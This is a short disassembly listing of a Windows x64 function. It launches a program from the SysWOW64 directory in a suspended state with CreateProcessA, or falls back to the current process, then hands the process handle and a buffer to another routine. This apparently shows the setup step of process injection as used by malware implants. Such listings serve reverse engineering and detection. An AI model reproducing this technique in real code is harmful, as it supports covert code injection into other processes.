cmp qword [rbp + 0x890], 0
je 0x6bac16c2
mov rax, qword [rbp + 0x890]
movzx eax, byte [rax]
test al, al
jne 0x6bac16d7
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x858], rax
jmp 0x6bac17de
lea rax, [rbp + 0x7f0]
mov r8, rax
mov eax, 0
mov edx, 0xd
mov rdi, r8
mov rcx, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x7f0], 0x68
lea rax, [rbp + 0x7d0]
mov qword [rax], 0
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
lea rax, [rbp + 0x3d0]
mov r8d, 0x400
mov rdx, rax
lea rcx, str.windir
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rcx, str._sSysWOW64_s
lea r8, [rbp + 0x3d0]
lea rax, [rbp - 0x30]
mov rdx, qword [rbp + 0x890]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov edx, 0x400
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__snprintf]
call rax
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x7d0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x7f0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x6bac180c
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x6bac180f
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, qword [rbp + 0x858]
mov r8, rdx
mov rdx, qword [rbp + 0x880]
mov rcx, rax
call fcn.6bac15c0
jmp 0x6bac1810
nop
jmp 0x6bac1810
nop
add rsp, 0x8e8
pop rdi
pop rbp
ret